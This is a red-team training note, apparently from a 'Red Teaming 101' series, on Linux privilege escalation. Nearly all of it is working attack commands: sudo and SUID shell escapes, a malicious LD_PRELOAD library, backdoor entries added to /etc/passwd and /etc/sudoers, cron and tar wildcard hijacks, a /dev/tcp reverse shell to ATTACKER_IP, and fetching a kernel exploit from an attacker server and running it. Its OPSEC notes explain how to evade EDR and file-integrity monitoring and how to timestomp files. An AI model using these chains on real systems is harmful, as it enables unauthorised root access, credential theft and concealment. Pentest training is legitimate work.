1.1b_Linux_Deep_Dive_P1b
1.1b Linux Deep Dive — Part 1b: Privilege Escalation
BLUF: Part 1b covers privilege escalation vectors: sudo misconfigurations, SUID abuse, cron hijacking, NFS exploits, and kernel CVEs.
Section 2 — Privilege Escalation: Manual Chains
Every vector below starts with the most passive check first. Only escalate noise when lower-noise
options are exhausted.
2.1 — Sudo Misconfiguration
The highest-value single command on any Linux box. Run this before anything else.
# What can I run as root without a password?
sudo -l
# OPSEC: sudo -l writes to auth.log on some configs -- be aware
# Output to look for:
# (ALL) NOPASSWD: /usr/bin/vim -> instant root shell
# (ALL) NOPASSWD: /usr/bin/python3 -> instant root shell
# (ALL) NOPASSWD: /usr/bin/find -> read/write as root
# (ALL) ALL -> full root, just needs password
Common sudo escalation one-liners (check GTFOBins for the full list):
# sudo vim -> shell escape
sudo vim -c ':!/bin/bash'
sudo vim -c ':py3 import pty; pty.spawn("/bin/bash")'
# sudo find -> exec
sudo find / -name whatever -exec /bin/bash \;
# sudo python/python3 -> setuid shell
sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo awk -> exec
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo less -> shell escape (inside less, type !bash)
sudo less /etc/passwd
# then: !bash
# sudo nano -> shell escape (inside nano: Ctrl+R, Ctrl+X, then: reset; bash 1>&0 2>&0)
sudo nano /etc/hosts
# sudo env inheritance -- if sudo preserves PATH
# If a writable dir is first in PATH and sudo allows env passthrough:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/legit_binary
chmod +x /tmp/legit_binary
sudo PATH=/tmp:$PATH legit_binary # only works if env_keep or SETENV is set
# sudo with wildcard in allowed command (e.g., /opt/scripts/*.sh)
# Create file: /opt/scripts/--checkpoint-action=exec=bash
touch '/opt/scripts/--checkpoint-action=exec=bash'
sudo /opt/scripts/*.sh
OPSEC:
sudo -litself is logged toauth.logand may trigger alerts on hardened systems.
It's still worth running — the information gained outweighs the noise. Avoid usingsudofor
interactive root shells if you can accomplish the goal through file reads/writes instead (less
visible in process lists).
2.2 — SUID Binary Exploitation
# Step 1: Find all SUID binaries (passive -- just reads filesystem metadata)
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null # same thing
# Step 2: Filter out expected system binaries -- focus on unusual ones
find / -perm -4000 -type f 2>/dev/null | grep -vE "^(/usr/bin/(passwd|chsh|chfn|newgrp|su|sudo|gpasswd|mount|umount|pkexec)|/bin/(ping|mount|umount|su)|/sbin/|/usr/sbin/)"
# Step 3: For each unusual binary -- check GTFOBins, then:
ls -la /path/to/binary # who owns it? what permissions?
file /path/to/binary # architecture?
strings /path/to/binary | head -30 # any hardcoded paths to hijack?
Exploitation patterns:
# SUID bash (rare but beautiful)
/bin/bash -p # -p preserves effective UID (root)
bash -p -c 'id' # confirm root
# SUID find
find . -exec /bin/sh -p \; -quit
find / -name blah -exec bash -p \; # -quit after first match
# SUID python/python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# or read arbitrary files without spawning a shell (quieter):
python3 -c 'print(open("/etc/shadow").read())'
# SUID cp -- overwrite sensitive files
# Option 1: overwrite /etc/passwd to add a root user
openssl passwd -1 -salt hacker Password123
# -> $1$hacker$...HASH...
echo 'hacker:$1$hacker$HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd_new
cp /etc/passwd /tmp/passwd_backup # backup first
cp /tmp/passwd_new /etc/passwd # SUID cp writes as root
su hacker # password: Password123
# SUID vim / vi
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-i")'
# or within vim: :shell (drops to root shell if SUID)
# SUID nmap (older versions only -- nmap < 5.21)
nmap --interactive
!sh
# SUID env
env /bin/sh -p
# SUID tee -- write to root-owned files
echo "hacker ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers
Capabilities abuse (Linux capabilities = fine-grained SUID):
# Find all binaries with capabilities set
getcap -r / 2>/dev/null
# High-value capabilities:
# cap_setuid -> can call setuid(0) -> root
# cap_dac_override -> bypass file read/write permissions
# cap_net_raw -> raw sockets -- useful for sniffing but not direct root
# cap_sys_ptrace -> can ptrace any process -> inject into root process
# cap_setuid on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash")'
# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# cap_dac_override on vim -- read /etc/shadow
vim /etc/shadow
# cap_sys_ptrace -- inject shellcode into a root process (advanced)
# Use gdb or a custom injector targeting a root PID
OPSEC: Spawning a root
/bin/bashvia SUID is immediately visible to EDR (execve syscall with
euid=0 from non-root process). Where possible, use the SUID binary to read sensitive files or write
persistence instead of spawning interactive shells.
2.3 — Cron Job Hijacking
# Step 1: Enumerate all cron locations
crontab -l 2>/dev/null # current user's jobs
cat /etc/crontab # system-wide cron
cat /etc/cron.d/* # drop-in cron files
ls -la /etc/cron.{hourly,daily,weekly,monthly}/
cat /etc/cron.{hourly,daily,weekly,monthly}/* 2>/dev/null
# Step 2: Watch for cron jobs not in any crontab (e.g., run by root scripts)
# pspy watches /proc for process creation -- no root needed
# Download: https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 500 # check every 500ms, watch for UID=0 processes
# Watch for 2-3 minutes to catch per-minute jobs
# Look for: UID=0 and a script or binary path you can influence
# Step 3a: Writable script called by cron
ls -la /opt/scripts/backup.sh # is it writable by you?
# If yes -- append your payload (don't overwrite, it might be checked)
echo '' >> /opt/scripts/backup.sh # blank line spacer
echo 'cp /bin/bash /tmp/.sysd; chmod u+s /tmp/.sysd' >> /opt/scripts/backup.sh
# Wait for next cron run, then:
/tmp/.sysd -p # SUID bash as root
# Step 3b: PATH hijacking in cron
# If /etc/crontab has: PATH=/home/user:/usr/local/sbin:/usr/bin:/sbin:/bin
# And a cron job calls a binary by name (not full path), e.g., just 'backup'
# And /home/user is writable:
cat > /home/user/backup << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash
chmod u+s /tmp/.sysdbash
EOF
chmod +x /home/user/backup
# Wait -> /tmp/.sysdbash -p
# Step 3c: Wildcard injection in cron tar/rsync commands
# If cron runs: tar czf /backup/archive.tar.gz /var/www/*
# And /var/www/ is writable by you:
touch '/var/www/--checkpoint=1'
touch '/var/www/--checkpoint-action=exec=bash payload.sh'
cat > /var/www/payload.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash && chmod u+s /tmp/.sysdbash
EOF
chmod +x /var/www/payload.sh
# Next tar run picks up the filenames as flags -> executes payload.sh as root
OPSEC: Appending to existing scripts is less detectable than replacing them — file modification
time changes either way, but a replaced file changes its content hash and size, both of which
AIDE/Tripwire monitor. Timestomp after modification (see Section 5). Remove your additions after
gaining root.
2.4 — NFS no_root_squash
# Check /etc/exports on the target (requires read access to this file)
cat /etc/exports
# Look for: no_root_squash or no_all_squash
# Example dangerous entry: /home *(rw,no_root_squash)
# From YOUR attacker machine (not the target):
# Step 1: Mount the NFS share
showmount -e TARGET_IP # list available NFS exports
mkdir /tmp/nfs_mount
mount -t nfs TARGET_IP:/home /tmp/nfs_mount -nolock
# Step 2: On attacker machine (as local root), create SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash # sets SUID -- because no_root_squash, root on client = root on server
# Step 3: Back on target, execute it
/home/rootbash -p # runs as root due to SUID bit you set remotely
# Cleanup on attacker: rm /tmp/nfs_mount/rootbash && umount /tmp/nfs_mount
2.5 — LD_PRELOAD / LD_LIBRARY_PATH (via sudo env_keep)
# Check: does sudo preserve LD_PRELOAD?
sudo -l | grep -E "env_keep|LD_PRELOAD|SETENV"
# Look for: env_keep+=LD_PRELOAD or SETENV
# If yes -- write a malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
# Run any allowed sudo binary with the preload
sudo LD_PRELOAD=/tmp/evil.so find / # 'find' just as an example -- use whatever is in sudo -l
# The evil.so _init() runs before find, spawns root shell
# Cleanup
rm /tmp/evil.c /tmp/evil.so
2.6 — Weak File Permissions on Sensitive Files
# /etc/passwd writable (direct root user add)
ls -la /etc/passwd
# If writable:
openssl passwd -1 -salt pwned Password1
echo 'pwned:GENERATED_HASH:0:0:pwned:/root:/bin/bash' >> /etc/passwd
su pwned # password: Password1
# /etc/shadow readable (offline crack)
ls -la /etc/shadow
cat /etc/shadow # if readable by your user or group
# Copy hashes and crack offline: hashcat -m 1800 shadow.txt wordlist.txt
# /etc/sudoers writable
ls -la /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo bash
# Find world-writable files that might matter
find / -writable -type f 2>/dev/null | grep -vE "/proc|/sys|/dev|/run" | \
grep -E "cron|sudoers|passwd|shadow|hosts|profile|bashrc|environment"
# Find world-writable directories in PATH (PATH hijack opportunity)
echo $PATH | tr ':' '\n' | xargs -I{} sh -c 'test -w "{}" && echo "WRITABLE PATH DIR: {}"'
2.7 — Kernel Exploit — Last Resort
# Step 1: Identify exact kernel version
uname -r # e.g., 5.4.0-42-generic
uname -a # full string including build date
cat /proc/version
# Step 2: Research the version
# Run linux-exploit-suggester on attacker machine or if target has internet:
# https://github.com/mzet-/linux-exploit-suggester
./les.sh --kernel $(uname -r) # targeted results for this kernel
# Key CVEs worth knowing:
# DirtyPipe (CVE-2022-0847) -> kernel 5.8-5.16.11 -> overwrite root-owned files
# DirtyCow (CVE-2016-5195) -> kernel < 4.8.3 -> write to read-only mappings -> overwrite /etc/passwd
# PwnKit (CVE-2021-4034) -> polkit pkexec -> universal LPE, works on most distros
# OverlayFS (CVE-2023-0386) -> kernel < 6.2 -> setuid bit in overlayfs
# GameOver (CVE-2023-35829) -> kernel 6.x -> UAF in io_uring
# Step 3: Transfer exploit to target via /dev/shm (avoid /tmp)
# Compile on attacker if gcc not on target:
x86_64-linux-gnu-gcc exploit.c -o exploit -static -pthread
# Transfer (scp, curl from your server, or base64 encode/decode):
# On attacker: base64 exploit > exploit.b64 && python3 -m http.server 8080
# On target:
curl -s http://ATTACKER_IP:8080/exploit.b64 | base64 -d > /dev/shm/exploit
chmod +x /dev/shm/exploit
./dev/shm/exploit
# Step 4: Clean up immediately after use
rm /dev/shm/exploit
OPSEC: Kernel exploits are the noisiest vector. They often crash processes, log kernel panics
to/var/log/kern.log, and cause unusual syscall patterns that EDR tools fingerprint. Use only
when all other options are exhausted. Test on an identical kernel in a lab first.
Continues in Part 2 — Looting, Persistence, Cleanup, Shell Upgrade, Sliver C2
Part of the [Red Teaming 101](11. Pentesting stuff/Red Teaming 101/0_README.md) series. Companion to [1. Linux](1. Linux.md).